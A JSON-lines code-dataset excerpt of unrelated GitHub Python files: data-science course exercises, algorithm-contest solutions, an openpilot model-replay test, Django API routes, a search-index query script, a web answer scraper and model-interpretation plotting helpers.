as labels\ndendrogram(mergings,\n labels=varieties,\n leaf_rotation= 90,\n leaf_font_size= 6,\n)\nplt.show()\n\n\n\n\n\"\"\"\nHierarchies of stocks\nIn chapter 1, you used k-means clustering \nto cluster companies according to their stock price movements. \nNow, you'll perform hierarchical clustering of the companies. \nYou are given a NumPy array of price movements movements, where the rows\ncorrespond to companies, and a list of the company names companies. SciPy \nhierarchical clustering doesn't fit into a sklearn pipeline, so you'll need \nto use the normalize() function from sklearn.preprocessing instead of Normalizer.\nlinkage and dendrogram have already been imported from scipy.cluster.hierarchy\n\n\"\"\"\n\n\n\n# Import normalize\nfrom sklearn.preprocessing import normalize\n\n# Normalize the movements: normalized_movements\nnormalized_movements = normalize(movements)\n\n# Calculate the linkage: mergings\nmergings = linkage(normalized_movements, method = \"complete\")\n\n# Plot the dendrogram\ndendrogram(mergings,\n labels=companies,\n leaf_rotation= 90,\n leaf_font_size= 6,\n)\n\nplt.show()\n\n\n\"\"\"\nDifferent linkage, different hierarchical clustering!\nIn the video, you saw a hierarchical clustering of the voting \ncountries at the Eurovision song contest using 'complete' linkage. Now,\nperform a hierarchical clustering of the voting countries with 'single' linkage,\nand compare the resulting dendrogram with the one in the video. Different linkage, different hierarchical clustering!\n\nYou are given an array samples. Each row corresponds to a voting country, and each column corresponds to \na performance that was voted for. The list country_names gives the name of each voting country. This dataset was obtained from Eurovision.\n\n\"\"\"\n\n\n\n# Perform the necessary imports\nimport matplotlib.pyplot as plt\nfrom scipy.cluster.hierarchy import linkage, dendrogram\n\n# Calculate the linkage: mergings\nmergings = linkage(samples, method = \"single\")\n\n# Plot the dendrogram\ndendrogram(mergings,\n labels=country_names,\n leaf_rotation= 90,\n leaf_font_size= 6,\n)\nplt.show()\n\n\n\n\"\"\"\nExtracting the cluster labels\nIn the previous exercise, you saw that\nthe intermediate clustering of the grain samples \nat height 6 has 3 clusters. Now, use the fcluster() \nfunction to extract the cluster labels for this intermediate clustering,\nand compare the labels with the grain varieties using a cross-tabulation.\n\nThe hierarchical clustering has already been performed and mergings is the \nresult of the linkage() function. The list varieties gives the variety of each grain sample.\n\n\"\"\"\n\n# Perform the necessary imports\nimport pandas as pd\nfrom scipy.cluster.hierarchy import fcluster\n\n# Use fcluster to extract labels: labels\nlabels = fcluster(mergings,6, criterion = \"distance\")\n\n# Create a DataFrame with labels and varieties as columns: df\ndf = pd.DataFrame({'labels': labels, 'varieties': varieties})\n\n# Create crosstab: ct\nct =pd.crosstab(df.labels, df.varieties)\n\n# Display ct\nprint(ct)\n\n\n\"\"\"t-SNE visualization of grain dataset\nIn the video, you saw t-SNE applied to the iris dataset. \nIn this exercise, you'll apply t-SNE to the grain samples\ndata and inspect the resulting t-SNE features using a scatter plot.\nYou are given an array samples of grain samples and a list variety_numbers\ngiving the variety number of each grain sample.\n\n\"\"\"\n\n# Import TSNE\nfrom sklearn.manifold import TSNE\n\n# Create a TSNE instance: model\nmodel = TSNE(learning_rate=200)\n\n# Apply fit_transform to samples: tsne_features\ntsne_features = model.fit_transform(samples)\n\n# Select the 0th feature: xs\nxs = tsne_features[:,0]\n\n# Select the 1st feature: ys\nys = tsne_features[:,1]\n\n# Scatter plot, coloring by variety_numbers\nplt.scatter(xs, ys, c = variety_numbers)\nplt.show()\n\n\"\"\"\n\nCorrelated data in nature\nYou are given an array grains giving the width \nand length of samples of grain. You suspect that width and length\nwill be correlated. To confirm this, make a scatter plot of width vs length and measure their Pearson correlation.\n\"\"\"\n\n\n# Perform the necessary imports\nimport matplotlib.pyplot as plt\nfrom scipy.stats import pearsonr\n\n# Assign the 0th column of grains: width\nwidth = grains[:,0]\n\n# Assign the 1st column of grains: length\nlength = grains[:, 1]\n\n# Scatter plot width vs length\nplt.scatter(width, length)\nplt.axis('equal')\nplt.show()\n\n# Calculate the Pearson correlation\ncorrelation, pvalue = pearsonr(width, length)\n\n# Display the correlation\nprint(correlation)\n\n\n\"\"\"\nDecorrelating the grain measurements with PCA\nYou observed in the previous exercise that the width \nand length measurements of the grain are correlated. Now, \nyou'll use PCA to decorrelate these measurements, then plot the decorrelated points and measure their Pearson correlation.\n\"\"\"\n\n# Import PCA\nfrom sklearn.decomposition import PCA\n\n# Create PCA instance: model\nmodel = PCA()\n\n# Apply the fit_transform method of model to grains: pca_features\npca_features = model.fit_transform(grains)\n\n# Assign 0th column of pca_features: xs\nxs = pca_features[:,0]\n\n# Assign 1st column of pca_features: ys\nys = pca_features[:,1]\n\n# Scatter plot xs vs ys\nplt.scatter(xs, ys)\nplt.axis('equal')\nplt.show()\n\n# Calculate the Pearson correlation of xs and ys\ncorrelation, pvalue = pearsonr(xs, ys)\n\n# Display the correlation\nprint(correlation)\n\n\"\"\"\nThe first principal component\nThe first principal component of the \ndata is the direction in which the data varies \nthe most. In this exercise, your job is to use PCA to \nfind the first principal component of the length and width \nmeasurements of the grain samples, and represent it as an arrow on the scatter plot.\n\nThe array grains gives the length and width of the grain samples. PyPlot (plt) and PCA have already been imported for you.\n\"\"\"\n\n# Make a scatter plot of the untransformed points\nplt.scatter(grains[:,0], grains[:,1])\n\n# Create a PCA instance: model\nmodel = PCA()\n\n# Fit model to points\nmodel = model.fit(grains)\n\n# Get the mean of the grain samples: mean\nmean = model.mean_\n\n# Get the first principal component: first_pc\nfirst_pc = model.components_[0,:]\n\n# Plot first_pc as an arrow, starting at mean\nplt.arrow(mean[0], mean[1], first_pc[0], first_pc[1], color='red', width=0.01)\n\n# Keep axes on same scale\nplt.axis('equal')\nplt.show()\n\n\n\"\"\"\nVariance of the PCA features\nThe fish dataset is 6-dimensional. But what is its intrinsic\ndimension? Make a plot of the variances of the PCA features to find out. \nAs before, samples is a 2D array, where each row represents a fish. You'll need to standardize the features first.\n\"\"\"\n\n# Perform the necessary imports\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import make_pipeline\nimport matplotlib.pyplot as plt\n\n# Create scaler: scaler\nscaler = StandardScaler()\n\n# Create a PCA instance: pca\npca = PCA()\n\n# Create pipeline: pipeline\npipeline = make_pipeline(scaler, pca)\n\n# Fit the pipeline to 'samples'\npipeline = pipeline.fit(samples)\n\n# Plot the explained variances\nfeatures = range(pca.n_components_)\nplt.bar(features, pca.explained_variance_)\nplt.xlabel('PCA feature')\nplt.ylabel('variance')\nplt.xticks(features)\nplt.show()\n\n\"\"\"\nA tf-idf word-frequency array\nIn this exercise, you'll create a tf-idf word frequency \narray for a toy collection of documents. For this, use the TfidfVectorizer\nfrom sklearn. It transforms a list of documents into a word frequency array,\nwhich it outputs as a csr_matrix. It has fit() and transform() methods like other sklearn objects.\nYou are given a list documents of toy documents about pets. Its contents have been printed in the IPython Shell.\n\n\"\"\"\n# Import PCA\nfrom sklearn.decomposition import PCA\n\n# Create a PCA model with 2 components: pca\npca = PCA(n_components=2)\n\n# Fit the PCA instance to the scaled samples\npca = pca.fit(scaled_samples)\n\n# Transform the scaled samples: pca_features\npca_features = pca.transform(scaled_samples)\n\n# Print the shape of pca_features\nprint(pca_features.shape)\n\n\"\"\"\nA tf-idf word-frequency array\nIn this exercise, you'll create a tf-idf word\nfrequency array for a toy collection of documents. \nFor this, use the TfidfVectorizer from sklearn. It transforms\na list of documents into a word frequency array, which it outputs as a csr_matrix. \nIt has fit() and transform() methods like other sklearn objects.\n\nYou are given a list documents of toy documents about pets. Its contents have been printed in the IPython Shell.\n\"\"\"\n\n# Import TfidfVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n# Create a TfidfVectorizer: tfidf\ntfidf = TfidfVectorizer()\n\n# Apply fit_transform to document: csr_mat\ncsr_mat = tfidf.fit_transform(documents)\n\n# Print result of toarray() method\nprint(csr_mat.toarray())\n\n# Get the words: words\nwords = tfidf.get_feature_names()\n\n# Print words\nprint(words)\n\n\n\"\"\"\nClustering Wikipedia part I\nYou saw in the video that TruncatedSVD is able to perform \nPCA on sparse arrays in csr_matrix format, such as word-frequency arrays.\nCombine your knowledge of TruncatedSVD and k-means to cluster some popular \npages from Wikipedia. In this exercise, build the pipeline. In the next exercise,\nyou'll apply it to the word-frequency array of some Wikipedia articles.\n\nCreate a Pipeline object consisting of a TruncatedSVD followed by KMeans. (This time, \nwe've precomputed the word-frequency matrix for you, so there's no need for a TfidfVectorizer).\n\nThe Wikipedia dataset you will be working with was obtained from here.\n\"\"\"\n\n\n# Perform the necessary imports\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn.cluster import KMeans\nfrom sklearn.pipeline import make_pipeline\n\n# Create a TruncatedSVD instance: svd\nsvd = TruncatedSVD(n_components = 50)\n\n# Create a KMeans instance: kmeans\nkmeans = KMeans(n_clusters=6)\n\n# Create a pipeline: pipeline\npipeline = make_pipeline(svd, kmeans)\n\n\n\"\"\"\nClustering Wikipedia part II\nIt is now time to put your pipeline from the previous \nexercise to work! You are given an array articles of tf-idf\nword-frequencies of some popular Wikipedia articles, and a list \ntitles of their titles. Use your pipeline to cluster the Wikipedia articles.\n\nA solution to the previous exercise has been pre-loaded for you, so a \nPipeline pipeline chaining TruncatedSVD with KMeans is available.\n\"\"\"\n\n# Import pandas\nimport pandas as pd\n\n# Fit the pipeline to articles\npipeline = pipeline.fit(articles)\n\n# Calculate the cluster labels: labels\nlabels = pipeline.predict(articles)\n\n# Create a DataFrame aligning labels and titles: df\ndf = pd.DataFrame({'label': labels, 'article': titles})\n\n# Display df sorted by cluster label\nprint(df.sort_values(\"label\"))\n","repo_name":"m-mburu/data_camp","sub_path":"python/unsupervised_learning_in_python/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":11363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40393390863","text":"# -*- coding: utf-8 -*-\n# 덱을 사용하는 자료 구조 문제\n# 추출하려는 값의 인덱스를 확인하여 현재 덱 길이의 중간보다 크면 3번째 연산, 작거나 같으면 2번째 연산을 수행하여 추출\n\nimport sys\nfrom collections import deque\n\nN, M = map(int, sys.stdin.readline().split())\ndq = deque()\nans = 0\n\nfor i in range(1, N+1): dq.append(i)\n\ninput_ = list(map(int, sys.stdin.readline().split()))\n\nfor target in input_:\n idx = list(dq).index(target)\n\n if idx <= N//2:\n while idx > 0:\n tmp = dq.popleft()\n dq.append(tmp)\n idx -= 1\n ans += 1\n else:\n idx = N - idx - 1\n while idx >= 0:\n tmp = dq.pop()\n dq.appendleft(tmp)\n idx -= 1\n ans += 1\n \n dq.popleft()\n N -= 1\n\nprint(ans)","repo_name":"sonhl0723/algorithm","sub_path":"BOJ_restart/Data Structure/1021.py","file_name":"1021.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19794175105","text":"#!/usr/bin/env python3\nimport os\nimport sys\nimport time\nfrom collections import defaultdict\nfrom tqdm import tqdm\nfrom typing import Any\n\nimport cereal.messaging as messaging\nfrom cereal.visionipc.visionipc_pyx import VisionIpcServer, VisionStreamType # pylint: disable=no-name-in-module, import-error\nfrom common.spinner import Spinner\nfrom common.timeout import Timeout\nfrom common.transformations.camera import get_view_frame_from_road_frame, eon_f_frame_size, tici_f_frame_size, \\\n eon_d_frame_size, tici_d_frame_size\nfrom selfdrive.hardware import PC, TICI\nfrom selfdrive.manager.process_config import managed_processes\nfrom selfdrive.test.openpilotci import BASE_URL, get_url\nfrom selfdrive.test.process_replay.compare_logs import compare_logs, save_log\nfrom selfdrive.test.process_replay.test_processes import format_diff\nfrom selfdrive.version import get_commit\nfrom tools.lib.framereader import FrameReader\nfrom tools.lib.logreader import LogReader\n\nif TICI:\n TEST_ROUTE = \"4cf7a6ad03080c90|2021-09-29--13-46-36\"\nelse:\n TEST_ROUTE = \"303055c0002aefd1|2021-11-22--18-36-32\"\nSEGMENT = 0\n\nSEND_EXTRA_INPUTS = bool(os.getenv(\"SEND_EXTRA_INPUTS\", \"0\"))\n\n\ndef get_log_fn(ref_commit):\n return f\"{TEST_ROUTE}_{'model_tici' if TICI else 'model'}_{ref_commit}.bz2\"\n\n\ndef replace_calib(msg, calib):\n msg = msg.as_builder()\n if calib is not None:\n msg.liveCalibration.extrinsicMatrix = get_view_frame_from_road_frame(*calib, 1.22).flatten().tolist()\n return msg\n\n\ndef model_replay(lr, frs):\n spinner = Spinner()\n spinner.update(\"starting model replay\")\n\n vipc_server = VisionIpcServer(\"camerad\")\n vipc_server.create_buffers(VisionStreamType.VISION_STREAM_ROAD, 40, False, *(tici_f_frame_size if TICI else eon_f_frame_size))\n vipc_server.create_buffers(VisionStreamType.VISION_STREAM_DRIVER, 40, False, *(tici_d_frame_size if TICI else eon_d_frame_size))\n vipc_server.start_listener()\n\n sm = messaging.SubMaster(['modelV2', 'driverState'])\n pm = messaging.PubMaster(['roadCameraState', 'driverCameraState', 'liveCalibration', 'lateralPlan'])\n\n try:\n managed_processes['modeld'].start()\n managed_processes['dmonitoringmodeld'].start()\n time.sleep(2)\n sm.update(1000)\n\n log_msgs = []\n last_desire = None\n frame_idxs = defaultdict(lambda: 0)\n\n # init modeld with valid calibration\n cal_msgs = [msg for msg in lr if msg.which() == \"liveCalibration\"]\n for _ in range(5):\n pm.send(cal_msgs[0].which(), cal_msgs[0].as_builder())\n time.sleep(0.1)\n\n for msg in tqdm(lr):\n if SEND_EXTRA_INPUTS:\n if msg.which() == \"liveCalibration\":\n last_calib = list(msg.liveCalibration.rpyCalib)\n pm.send(msg.which(), replace_calib(msg, last_calib))\n elif msg.which() == \"lateralPlan\":\n last_desire = msg.lateralPlan.desire\n dat = messaging.new_message('lateralPlan')\n dat.lateralPlan.desire = last_desire\n pm.send('lateralPlan', dat)\n\n if msg.which() in [\"roadCameraState\", \"driverCameraState\"]:\n camera_state = getattr(msg, msg.which())\n stream = VisionStreamType.VISION_STREAM_ROAD if msg.which() == \"roadCameraState\" else VisionStreamType.VISION_STREAM_DRIVER\n img = frs[msg.which()].get(frame_idxs[msg.which()], pix_fmt=\"yuv420p\")[0]\n\n # send camera state and frame\n pm.send(msg.which(), msg.as_builder())\n vipc_server.send(stream, img.flatten().tobytes(), camera_state.frameId,\n camera_state.timestampSof, camera_state.timestampEof)\n\n # wait for a response\n with Timeout(seconds=15):\n packet_from_camera = {\"roadCameraState\": \"modelV2\", \"driverCameraState\": \"driverState\"}\n log_msgs.append(messaging.recv_one(sm.sock[packet_from_camera[msg.which()]]))\n\n frame_idxs[msg.which()] += 1\n if frame_idxs[msg.which()] >= frs[msg.which()].frame_count:\n break\n\n spinner.update(\"replaying models: road %d/%d, driver %d/%d\" % (frame_idxs['roadCameraState'],\n frs['roadCameraState'].frame_count, frame_idxs['driverCameraState'], frs['driverCameraState'].frame_count))\n\n finally:\n spinner.close()\n managed_processes['modeld'].stop()\n managed_processes['dmonitoringmodeld'].stop()\n\n\n return log_msgs\n\n\nif __name__ == \"__main__\":\n\n update = \"--update\" in sys.argv\n replay_dir = os.path.dirname(os.path.abspath(__file__))\n ref_commit_fn = os.path.join(replay_dir, \"model_replay_ref_commit\")\n\n # load logs\n lr = list(LogReader(get_url(TEST_ROUTE, SEGMENT)))\n frs = {\n 'roadCameraState': FrameReader(get_url(TEST_ROUTE, SEGMENT, log_type=\"fcamera\")),\n 'driverCameraState': FrameReader(get_url(TEST_ROUTE, SEGMENT, log_type=\"dcamera\")),\n }\n\n # run replay\n log_msgs = model_replay(lr, frs)\n\n # get diff\n failed = False\n if not update:\n with open(ref_commit_fn) as f:\n ref_commit = f.read().strip()\n log_fn = get_log_fn(ref_commit)\n cmp_log = LogReader(BASE_URL + log_fn)\n\n ignore = [\n 'logMonoTime',\n 'modelV2.frameDropPerc',\n 'modelV2.modelExecutionTime',\n 'driverState.modelExecutionTime',\n 'driverState.dspExecutionTime'\n ]\n tolerance = None if not PC else 1e-3\n results: Any = {TEST_ROUTE: {}}\n results[TEST_ROUTE][\"models\"] = compare_logs(cmp_log, log_msgs, tolerance=tolerance, ignore_fields=ignore)\n diff1, diff2, failed = format_diff(results, ref_commit)\n\n print(diff2)\n print('-------------\\n'*5)\n print(diff1)\n with open(\"model_diff.txt\", \"w\") as f:\n f.write(diff2)\n\n # upload new refs\n if update or failed:\n from selfdrive.test.openpilotci import upload_file\n\n print(\"Uploading new refs\")\n\n new_commit = get_commit()\n log_fn = get_log_fn(new_commit)\n save_log(log_fn, log_msgs)\n try:\n upload_file(log_fn, os.path.basename(log_fn))\n except Exception as e:\n print(\"failed to upload\", e)\n\n with open(ref_commit_fn, 'w') as f:\n f.write(str(new_commit))\n\n print(\"\\n\\nNew ref commit: \", new_commit)\n\n sys.exit(int(failed))\n","repo_name":"BogGyver/openpilot","sub_path":"selfdrive/test/process_replay/model_replay.py","file_name":"model_replay.py","file_ext":"py","file_size_in_byte":6067,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"48"} +{"seq_id":"13114504364","text":"from django.urls import include, path\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom rest_framework_simplejwt.views import (TokenObtainPairView,\n TokenRefreshView)\n\nfrom .views import (AddBookmark, AddPlaylistTOBookmarksView, BmDetailView,\n BmListSearchView, BmListView, ChannelNextPlaylistsView,\n ChannelPlaylistsView, GetVideoData, LoadRelatedVideosView,\n MyObtainTokenPairView, NextPageCommentsView, OptionsView,\n RateVideoView, RegisterView, RepliesNextPageView,\n RepliesView, UpdateUserCategories, UserDetail,\n VideoCommentsView, YouTubeList, activate, getRoutes)\n\nurlpatterns = [\n path('', getRoutes),\n # path('token', TokenObtainPairView. as_view(), name='token_obtain_pair'),\n # path('token/refresh', TokenRefreshView.as_view(), name='token_refresh'),\n path('login/', MyObtainTokenPairView.as_view(), name='my_token_obtain_pair'),\n path('login/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\n path('register/', RegisterView.as_view(), name='auth_register'),\n path('users/', UserDetail.as_view(), name='user_detail'),\n path('user/options', OptionsView.as_view(), name='options'),\n path('user/categories/',\n UpdateUserCategories.as_view(), name='user_categories'),\n path('bm', AddBookmark.as_view(), name='add_bookmark'),\n path('bm/video/', GetVideoData.as_view()),\n path('bm/list/', YouTubeList.as_view(), name='youtube_list'),\n path('bm/', BmDetailView.as_view(), name='bm_detail'),\n path('bm/comments//',\n VideoCommentsView.as_view(), name='video_comments'),\n path('bm/comments///',\n NextPageCommentsView.as_view()),\n path('bm/comment/replies/', RepliesView.as_view()),\n path('bm/comment/nextreplies//',\n RepliesNextPageView.as_view()),\n path('bm/rate/', RateVideoView.as_view()),\n path('bm/category/', BmListView.as_view(), name='bm_list'),\n path('bm/category//',\n BmListSearchView.as_view(), name='bm_listsearch'),\n path('activate///', activate, name='activate'),\n path('channel/playlists/',\n ChannelPlaylistsView.as_view(), name='channel_playlists'),\n path('add-playlist-to-bookmarks/',\n AddPlaylistTOBookmarksView.as_view(), name='get_first_playlist_item'),\n path('channel/next-playlists//',\n ChannelNextPlaylistsView.as_view()),\n path('video//related-videos', LoadRelatedVideosView.as_view())\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)\n","repo_name":"reiokr/BookmarkerDjango","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73994001747","text":"'''\nGiven a string, find the number of different characters in it.\n\nExample\n\nFor s = \"cabca\", the output should be\nsolution(s) = 3.\n\nThere are 3 different characters a, b and c.\n'''\n\ndef solution(s):\n m = {}\n for c in s:\n m[c] = True\n return len(m.keys())\n\nprint(solution(\"cabca\")) # 3\n\n'''\n왜 이걸 생각 못했지.\nreturn len(set(s))\n'''","repo_name":"heosangmin/practiceAlgorithm","sub_path":"codesignal.com/Arcade/cs_36_differentSymbolsNaive.py","file_name":"cs_36_differentSymbolsNaive.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21180934730","text":"import os\n\nfrom bsbi import BSBIIndex\nfrom compression import VBEPostings\n\n# sebelumnya sudah dilakukan indexing\n# BSBIIndex hanya sebagai abstraksi untuk index tersebut\ncur_path = os.path.dirname(__file__)\nBSBI_instance = BSBIIndex(data_dir = os.path.join(cur_path, 'collection'), \\\n postings_encoding = VBEPostings, \\\n output_dir = os.path.join(cur_path, 'index'))\n\nqueries = [\"alkylated with radioactive iodoacetate\", \\\n \"psychodrama for disturbed children\", \\\n \"lipid metabolism in toxemia and normal pregnancy\"]\n\n\n\nfor query in queries:\n print(\"Query : \", query)\n print(\"Results:\")\n print(\"TF-IDF\")\n for (score, doc) in BSBI_instance.retrieve_tfidf(query, k = 10):\n print(f\"{doc:30} {score:>.3f}\")\n print()\n print(\"BM25\")\n for (score, doc) in BSBI_instance.retrieve_bm25(query, k1 = 1.5, b = 0.75, k = 10):\n print(f\"{doc:30} {score:>.3f}\")\n print()\n\n# \"alkylated with radioactive iodoacetate\"","repo_name":"hadihalimm/tp4-ir","sub_path":"search_app/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34963744227","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport ASearch\n\n\ndef get_tupu_answer(res):\n return res.get_text().strip()\n\n\ndef get_baike_answer(url):\n soup = ASearch.get_soup(url)\n # 获取百度百科答案\n result = soup.find(class_='lemma-summary')\n if result and result.find(class_='para'):\n return result.find(class_='para').get_text().strip()\n return None\n\n\ndef get_zhidao_answer(url):\n answer = []\n soup = ASearch.get_soup(url)\n # 查找百度知道最佳答案\n result = soup.find(class_=\"bd answer\")\n if result and result.find(class_='best-text mb-10'):\n return \"BestAnswer\", result.find(class_='best-text mb-10').get_text().strip()\n # 查找百度知道其他答案\n result = soup.find(class_='bd-wrap')\n if result and result.find_all(class_='con'):\n result = result.find_all(class_='con')\n sentence = ''\n for res in result:\n sen = res.get_text().strip()\n sentence = sentence + sen\n if'。' in sen:\n answer.append(sentence)\n sentence = ''\n if sentence != '':\n answer.append(sentence)\n return \"OtherAnswer\", answer\n return \"NoAnswer\", None\n\n\ndef get_other_answer(url):\n answer = []\n sentence = ''\n soup = ASearch.get_soup(url)\n # 检索其他网页的p标签\n result = soup.find_all('p')\n if result:\n for res in result:\n sen = res.get_text().strip()\n sentence = sentence + sen\n if '。' in sen or '.' in sen:\n answer.append(sentence)\n sentence = ''\n if sentence != '':\n answer.append(sentence)\n return 'GetAnswer', answer\n # 检索其他网页的span标签\n result = soup.find_all('span')\n if result:\n for res in result:\n sen = res.get_text().strip()\n sentence = sentence + sen\n if '。' in sen or '.' in sen:\n answer.append(sentence)\n sentence = ''\n if sentence != '':\n answer.append(sentence)\n return 'GetAnswer', answer\n return \"NoAnswer\", None\n\n\nif __name__ == '__main__':\n s = \"http://m.blog.csdn.net/QWsin/article/details/51261267\"\n print(get_other_answer(s))\n","repo_name":"Ezereal/SimpleQA","sub_path":"ASearch/GetCanAnswer.py","file_name":"GetCanAnswer.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2792958157","text":"import sys\ninput = sys.stdin.readline\nN = int(input())\nweight = [0]\nfor i in range(N):\n weight.append(int(input()))\ndp = [0]\ndp.append(weight[1])\nif N >= 2:\n dp.append(weight[1] + weight[2])\nfor i in range(3,N+1):\n dp.append(max(dp[i-1], dp[i-2]+weight[i], dp[i-3]+weight[i-1]+weight[i]))\nprint(dp[N])","repo_name":"silverjjj/algorithm","sub_path":"BOJ/2156.py","file_name":"2156.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71389409106","text":"import sys\n\n\nname = __file__.split('\\\\')[-1][:-3]\nfile = open(f'{name}.txt', 'r')\nsys.stdin = file\ntest_case = int(input())\n\n'''\nN 명이니까 10 ^ n 만큼 나누어줘야 하는데 엄청커서 안되겠다\n\n'''\n\ndef search(state, pro, now):\n # print(state)\n if not state:\n global biggie\n biggie = max(biggie, pro)\n for i in range(N):\n if state & (1 << i) and NbyN[i][now] != 0 and pro * NbyN[i][now] * 0.01 > biggie:\n search(state - (1 << i), pro * NbyN[i][now] * 0.01, now + 1)\n\n\nfor num in range(test_case):\n N = int(input())\n biggie = 0\n NbyN = [list(map(int, input().split())) for _ in range(N)]\n search((1 << N) - 1, 1, 0)\n # print(biggie)\n print(f'#{num + 1}',\"{:.6f}\".format(round(biggie * 100, 6)))\n # break","repo_name":"sangbumlikeagod/SSAFY","sub_path":"0919/dongchulisgood.py","file_name":"dongchulisgood.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11262051934","text":"import numpy as np\nimport pandas as pd\nfrom scipy.stats import iqr\nimport matplotlib.pyplot as plt\n\nimport shap\n\n\n#################################################################################################\n# SHAP CONVERSION FOR PLOTTING\ndef preddiff_list_to_shap_explanation(m_list, df, classifier_component=1):\n values = np.array([m[\"mean\"] for m in m_list])\n\n if len(values.shape) > 2: # classification\n values = values[:, :, classifier_component]\n values = values.T.astype(np.float64)\n base_values = 0*values\n data = np.array(df)\n feature_names = df.columns\n return shap.Explanation(values=values, base_values=base_values, data=data, display_data=data, feature_names=feature_names)\n\n\ndef preddiff_list_to_m_shap_classification(m_list):\n temp_means = [temp['mean'] for temp in m_list]\n c0 = [np.array([c[0] for c in feature]) for feature in temp_means]\n c1 = [np.array([c[1] for c in feature]) for feature in temp_means]\n m_values = [np.array(c0).T, np.array(c1).T]\n return m_values\n\n#################################################################################################\n# AUX FUNCTIONS FOR SUMMARIZATION\n#################################################################################################\ndef plot_global_preddiff_stats(m_stats, col=\"meanabs\", min_value=0, max_entries=5, title=None, filename=None):\n '''plots result of calculate_global_preddiff_stats as barplot'''\n m_stats_local = m_stats.sort_values(col,ascending=True)\n if(min_value>0):\n ids = np.where(np.array(m_stats_local[col])>min_value)[0]\n else:\n ids = range(len(m_stats_local[col]))\n if(max_entries>0):\n ids = ids[-min(max_entries,len(m_stats_local)):]\n y_pos = np.arange(len(ids))\n\n fig = plt.figure()\n ax = plt.subplot()\n if(title is None):\n plt.title(\"Global m-value stats (based on \"+col+\")\")\n else:\n pass\n ax.set_title(title, size=6)\n plt.barh(y_pos, np.array(m_stats_local[col])[ids])\n if(\"col\" in m_stats_local.columns):\n plt.yticks(y_pos, np.array(m_stats_local[\"col\"])[ids], rotation=26)\n plt.xscale('log')\n if(col=='meanabs'):\n # plt.xlabel('mean(|m-value|)')\n plt.xlabel(r'mean$(|\\,\\bar m^{\\,f}\\,|)$', labelpad=0.1)\n # add_text(r'mean$(|\\,\\bar m^{\\,f}\\,|)$', ax=ax, loc='lower left')\n\n if(filename is not None):\n fig.tight_layout(pad=0.1)\n fig.savefig(filename, bbox_inches='tight')\n plt.show()\n\n\ndef calculate_global_prediff_stats_clas(m_list,y,cols=None,sortby=\"meanabs\"):\n '''analogue of calculate_global_prediff_stats for classification (returns a df for every class)'''\n res=[]\n for c in range(len(y[0])):\n m_listc=[]\n for m in m_list:\n m_tmp = m.iloc[np.where(y==c)[0]].copy()#select just target class\n m_tmp[\"mean\"]=m_tmp[\"mean\"].apply(lambda x:x[c])#select score for this particular class\n m_tmp[\"conf95\"]=m_tmp.apply(lambda x: x[\"high\"][c]- x[\"low\"][c],axis=1)\n m_listc.append(m_tmp)\n res.append(calculate_global_m_value_stats(m_listc,cols,sortby))\n return res\n\ndef calculate_global_preddiff_stats(m_list,cols=None,sortby=\"meanabs\"):\n '''calculates global preddiff stats for each impute_col (operates on output of preddiff.relevances())'''\n res = []\n for i,m in enumerate(m_list):\n tmp={\"id\":i, \"median\": m[\"mean\"].median(), \"iqr\": iqr(m[\"mean\"]), \"mean\": m[\"mean\"].mean(), \"std\": m[\"mean\"].std(), \"min\":m[\"mean\"].min(), \"max\":m[\"mean\"].max(), \"low\": m[\"low\"].mean(), \"high\": m[\"high\"].mean(), \"conf95\": m.apply(lambda x: x[\"high\"]-x[\"low\"],axis=1).mean(), \"absmean\": abs(m[\"mean\"].mean()), \"meanabs\": m[\"mean\"].abs().mean()}\n if(cols is not None):\n tmp[\"col\"]=cols[i]\n res.append(tmp)\n return pd.DataFrame(res).sort_values(sortby,ascending=False)\n\n\n","repo_name":"AI4HealthUOL/preddiff-interactions","sub_path":"pred_diff/tools/preddiff_plotting.py","file_name":"preddiff_plotting.py","file_ext":"py","file_size_in_byte":3863,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"74601795665","text":"import os\nfrom importlib import import_module\n\nimport torch\nimport torch.nn as nn\n\nclass Model(nn.Module):\n def __init__(self, args, ckpt):\n super(Model, self).__init__()\n print('[INFO] Making model...')\n\n self.device = torch.device('cpu' if args.cpu else 'cuda')\n self.nGPU = args.nGPU\n self.save_models = args.save_models\n\n module = import_module('model.' + args.model.lower())\n self.model = module.make_model(args).to(self.device)\n\n if not args.cpu and args.nGPU > 1:\n self.model = nn.DataParallel(self.model, range(args.nGPU))\n\n self.load(\n ckpt.dir,\n pre_train=args.pre_train,\n resume=args.resume,\n cpu=args.cpu\n )\n print(self.model, file=ckpt.log_file)\n\n\n def forward(self, x):\n return self.model(x)\n\n def get_model(self):\n if self.nGPU == 1:\n return self.model\n else:\n return self.model.module\n\n def save(self, apath, epoch, is_best=False):\n target = self.get_model()\n torch.save(\n target.state_dict(), \n os.path.join(apath, 'model', 'model_latest.pt')\n 